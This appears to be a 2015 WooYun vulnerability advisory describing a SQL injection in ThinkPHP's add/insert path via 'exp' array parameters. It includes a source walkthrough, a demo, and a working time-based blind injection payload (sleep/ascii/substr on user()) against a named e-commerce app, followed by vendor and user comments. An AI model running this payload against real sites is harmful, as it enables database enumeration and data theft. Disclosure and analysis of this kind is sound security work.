当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(43) 关注此漏洞

缺陷编号: WooYun-2015-115580

漏洞标题: thinkphp 某处缺陷可造成sql注射

相关厂商: ThinkPHP

漏洞作者: 魔鬼的步伐

提交时间: 2015-05-27 17:02

公开时间: 2015-08-25 17:29

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 15

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-27: 细节已通知厂商并且等待厂商处理中
2015-05-27: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-07-21: 细节向核心白帽子及相关领域专家公开
2015-07-31: 细节向普通白帽子公开
2015-08-10: 细节向实习白帽子公开
2015-08-25: 细节向公众公开

简要描述:

thinkphp 某处缺陷可造成sql注射

详细说明:

下载最新的版本:



强调一下和ph大神的漏洞 信息不一样 地方和函数都不一样 他那个已经被修复了

写一个demo:

code 区域
public function test(){

$data = $_GET['data'];
$u = M('Data')->data(array(

'data' => $data

))->add();

dump($u);
}





问题出在哪里:



先看看data函数:



code 区域
public function data($data=''){
if('' === $data && !empty($this->data)) {
return $this->data;
}
if(is_object($data)){
$data = get_object_vars($data);
}elseif(is_string($data)){
parse_str($data,$data);
}elseif(!is_array($data)){
E(L('_DATA_TYPE_INVALID_'));
}
$this->data = $data;
return $this;
}







没有做任何处理



然后数据流入到了add函数里面:



code 区域
public function add($data='',$options=array(),$replace=false) {
if(empty($data)) {
// 没有传递数据,获取当前数据对象的值
if(!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
}else{
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
// 数据处理
$data = $this->_facade($data);
// 分析表达式
$options = $this->_parseOptions($options);

if(false === $this->_before_insert($data,$options)) {
return false;
}

// 写入数据到数据库
$result = $this->db->insert($data,$options,$replace);







其他的都不用看 主要看insert函数:



code 区域
public function insert($data,$options=array(),$replace=false) {
$values = $fields = array();
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());

foreach ($data as $key=>$val){

if(is_array($val) && 'exp' == $val[0]){

$fields[] = $this->parseKey($key);
$values[] = $val[1];
}elseif(is_scalar($val)) { // 过滤非标量数据
$fields[] = $this->parseKey($key);
if(0===strpos($val,':') && in_array($val,array_keys($this->bind))){
$values[] = $this->parseValue($val);
}else{
$name = count($this->bind);
$values[] = ':'.$name;
$this->bindParam($name,$val);
}
}
}
// 兼容数字传入方式
$replace= (is_numeric($replace) && $replace>0)?true:$replace;
$sql = (true===$replace?'REPLACE':'INSERT').' INTO '.$this->parseTable($options['table']).' ('.implode(',', $fields).') VALUES ('.implode(',', $values).')'.$this->parseDuplicate($replace);
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);







最终VALUES ('.implode(',', $values).') 这样一来我们就可以无视gpc函数进行注入了



if(is_array($val) && 'exp' == $val[0]){



$fields[] = $this->parseKey($key);

$values[] = $val[1];





http://localhost:8081/phpthink/index.php?a=test&data[0]=exp&data[1]=1,2,3,4,5&data[2]=2







后台抓取sql语句为:



2015/1/29 12:56 INSERT INTO `think_data` (`data`) VALUES (1,2,3,4,5)

1.png







然后 我们在看一下 现实中的例子



我们那原创中国easycart





MemberIndex.class.php:



code 区域
public function doShippingAddress(){
self::$Model=D("Shippingaddress");
$list=self::$Model->where("id=".$this->memberID)->find();
if (self::$Model->create()){
//邮件订阅
$model=D('Newsletter');
if(isset($_POST['isNewsletter']) && $_POST['isNewsletter']==1){
$data['email']=$_POST['email'];
$data['addtime']=time();
if(isset($_POST['id']) && $_POST['id']>0){

$map['memberid']=$data['memberid']=$_POST['id'];
if($_POST['Newsletter_id']){
$map['id']=$_POST['Newsletter_id'];
}
$map['_logic']='or';
if(false == $model->where($map)->save($data)){
$model->add($data);
}
}







这里面的id正好符合要求:



url:

http://localhost/easycart/index.php/MemberIndex-doShippingAddress.html



postdata:

id[0]=exp&id[1]=if(ascii((substr((select user()),1,1)))=114,sleep(5),1)&Newsletter_id=1



抓取sql语句为:





INSERT INTO `ec_shippingaddress` (`id`) VALUES (if(ascii((substr((select user()),1,1)))=114,sleep(5),1))



这样一来就可以进行全站信息枚举





漏洞证明:

修复方案:

版权声明:转载请注明来源 魔鬼的步伐@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-08-25 17:29

厂商回复:

如果采用官方提供的I函数获取用户输入的参数的话 这个问题是不存在的

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-05-27 17:10 | 小川 认证白帽子 ( 核心白帽子 | Rank:1583 漏洞数:236 | 一个致力要将乌云变成搞笑论坛的男人)
    1

    摩擦摩擦

  2. 2015-05-27 17:24 | 玉林嘎 认证白帽子 ( 普通白帽子 | Rank:933 漏洞数:107 )
    0

    关注

  3. 2015-05-27 17:24 | ThinkPHP(乌云厂商)
    2

    为啥不使用I函数安全获取参数呢?

  4. 2015-05-29 10:42 | 胡萝卜君 ( 路人 | Rank:0 漏洞数:1 | 乌云的天空)
    0

    平时都用的I

  5. 2015-08-25 20:45 | 风吹蛋蛋凉 ( 路人 | Rank:9 漏洞数:3 | “北风吹,秋风凉,谁家娇妻守空房?有困难...)
    0

    马克。

  6. 2015-08-26 17:48 | pyphrb ( 实习白帽子 | Rank:53 漏洞数:8 | ...........................................)
    0

    @ThinkPHP 为什么要用,php本来就是一门松散的语言,你设计的时候全局作hook吧

  7. 2015-08-28 10:42 | 大大怪 ( 路人 | Rank:0 漏洞数:1 | PHP 爱好者)
    0

    @ThinkPHP 这种厂商,我也是服了。

登录后才能发表评论,请先 登录